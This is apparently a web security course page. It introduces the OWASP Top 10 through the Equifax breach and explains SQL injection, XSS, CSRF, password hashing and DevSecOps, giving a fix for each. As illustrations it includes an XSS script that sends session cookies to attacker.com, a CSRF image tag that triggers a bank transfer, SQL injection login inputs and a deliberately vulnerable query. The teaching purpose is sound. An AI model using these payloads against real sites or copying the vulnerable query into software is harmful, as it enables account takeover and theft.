AiTechWorlds
AiTechWorlds
On March 8, 2017, the Apache Software Foundation released a security patch for a critical vulnerability in Apache Struts, a widely-used Java web framework. The patch was publicly available. The vulnerability was rated critical — an attacker could execute arbitrary code on a remote server by sending a specially crafted HTTP request.
On May 13, 2017, exactly 66 days after the patch was released, attackers began exploiting this vulnerability against Equifax, one of the three major US credit bureaus. The intrusion went undetected for over two months. By the time Equifax discovered and disclosed the breach in September 2017, attackers had exfiltrated the personal data of 147 million Americans — names, social security numbers, birth dates, addresses, credit card numbers, and driver's licence numbers. The settlement costs exceeded $575 million.
The cause was not a novel zero-day attack. It was not sophisticated state-sponsored hacking. It was a publicly known vulnerability with a publicly available fix that a $4 billion company had simply not applied.
Security is not a feature you add at the end. It is an engineering discipline built in from the start — or it is a catastrophic failure waiting to happen.
The Open Web Application Security Project (OWASP) publishes a list of the ten most critical web application security risks, updated every few years based on data from real-world breaches. The 2021 edition:
SQL injection is one of the oldest and most exploited vulnerabilities, yet it remains in the OWASP Top 10 because it still exists in production systems.
The attack:
A login form accepts a username and password. The backend constructs a query:
-- Vulnerable code (DO NOT USE)
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
An attacker enters the username: admin'--
The query becomes:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
The -- is a SQL comment. Everything after it is ignored. The password check is bypassed entirely. The attacker logs in as admin.
The fix — parameterised queries:
# Safe: input is never concatenated into SQL
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password_hash)
)
The database driver sends the query and parameters separately. The input is never interpreted as SQL code, regardless of what characters it contains.
Real impact: The 2008 Heartland Payment Systems breach — 134 million credit card numbers stolen — was achieved entirely through SQL injection. The attackers used a single web form input field.
Cross-Site Scripting (XSS) attacks inject malicious JavaScript into pages viewed by other users. When a user views the page, their browser executes the attacker's script in the context of the trusted site.
A forum that displays user posts without sanitisation might render:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
This steals every user's session cookie, giving the attacker full access to their account.
Fixes:
< becomes <, > becomes >, preventing browsers from interpreting the content as markup.dangerouslySetInnerHTML and similar APIs bypass these protections.Cross-Site Request Forgery tricks a logged-in user's browser into making a request they did not intend.
If a bank's transfer endpoint is POST /transfer?to=bob&amount=1000, an attacker can embed this on their own site:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
When a logged-in bank customer visits the attacker's page, their browser sends the request — with their session cookies attached — and the transfer executes.
Fixes:
SameSite=Strict or SameSite=Lax on session cookies prevents the browser from sending them on cross-origin requests.Password storage: Never store passwords in plaintext or with weak hashing (MD5, SHA-1 can be reversed with rainbow tables). Use bcrypt, Argon2, or scrypt — algorithms specifically designed to be slow, making brute-force attacks computationally infeasible.
import bcrypt
# Store: hash the password with a random salt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Verify: compare (never decrypt)
bcrypt.checkpw(provided_password.encode(), hashed)
Multi-Factor Authentication (MFA): Require a second factor (TOTP app, SMS, hardware key) for all privileged accounts. Even if an attacker obtains a password, MFA prevents access. GitHub reported that accounts with MFA enabled are significantly less likely to be compromised.
JWT expiration: JSON Web Tokens must have an exp (expiration) claim. Without expiration, a stolen token is valid forever. Access tokens should expire in 15–60 minutes; refresh tokens in days to weeks.
HTTPS everywhere: All traffic must use TLS 1.3. Enable HSTS (HTTP Strict Transport Security) headers so browsers never make unencrypted connections, even if a user types http://.
DevSecOps means integrating security checks directly into the CI/CD pipeline — running automatically on every code push, before any human review.
Tools in the security pipeline:
npm audit (Node.js), pip-audit (Python), Snyk, GitHub Dependabot — alert when dependencies have known CVEs.| Vulnerability | Attack Example | Prevention | Detection | Severity |
|---|---|---|---|---|
| SQL Injection | ' OR 1=1-- in login field | Parameterised queries | SAST, WAF logs | Critical |
| XSS | <script> in forum post | Output encoding, CSP | SAST, DAST | High |
| CSRF | Malicious link triggers bank transfer | CSRF tokens, SameSite cookies | Code review | High |
| Broken Access Control | User accesses other user's data via URL | Role checks on every endpoint | Penetration testing | Critical |
| Outdated Dependencies | Equifax Apache Struts CVE | Dependency scanning in CI | Snyk, Dependabot | High |
| Weak Password Storage | MD5 hashes cracked from breach | bcrypt/Argon2 | Security audit | Critical |
| Missing HTTPS | Credentials intercepted on network | TLS everywhere, HSTS | SSL Labs scan | High |
| SSRF | Server fetches internal AWS metadata URL | Allowlist outbound URLs | Code review, DAST | High |
Every user, service, and process should have access to only the resources it needs to do its job — nothing more. A service that reads from a single database table should have SELECT permission on that table only, not full database administrator access.
This principle limits blast radius: if an attacker compromises the read-only service, they cannot drop tables or write data.
Applied in practice:
Equifax's 2017 breach was not sophisticated. It was a failure of process: a known patch was not applied to a known vulnerability for 66 days. The lesson is not about technology — it is about discipline.
Security must be treated as an engineering concern from the first line of code: use parameterised queries (not string concatenation), encode output (not raw rendering), hash passwords with bcrypt (not MD5), and run automated security scans in CI (not just before release). The OWASP Top 10 has not changed dramatically in 20 years because the same classes of vulnerabilities are still being introduced. The engineers who understand this list — and build systems that prevent it — are the ones who avoid being in the next breach headline.
Get this course's notes on Telegram!
Free cheat sheets, summaries & practice exercises